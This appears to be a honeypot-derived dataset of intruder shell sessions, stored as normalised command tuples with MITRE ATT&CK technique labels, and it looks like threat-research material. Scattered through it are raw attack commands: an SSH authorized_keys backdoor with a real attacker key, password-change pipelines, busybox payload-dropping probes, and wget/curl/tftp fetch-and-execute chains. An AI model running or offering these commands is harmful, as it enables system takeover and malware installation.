('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JVWBU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; tftp -l.i -r.i -g ; chmod ; ./ ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJCRE


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('sh', 'shell', 'ls', 'cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf')


cd /tmp && chmod +x Lhtln3CT && bash -c ./Lhtln3CT

('scp', 'cd && chmod +x && bash -c ./', './Lhtln3CT')


cd /tmp && chmod +x 2p8unLIG && bash -c ./2p8unLIG

('scp', 'cd && chmod +x && bash -c ./', './2p8unLIG')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RNDBO

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VADQZ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SZFVA

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WBVVZ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')


('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SPYVE

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JERUL


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TQBGL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VDKLO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YUCBI


('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e ( ) | passwd | bash', 'Enter', 'echo ( ) | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IZFUH


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm', 'echo | chpasswd | bash', 'echo >')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ADDPB

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


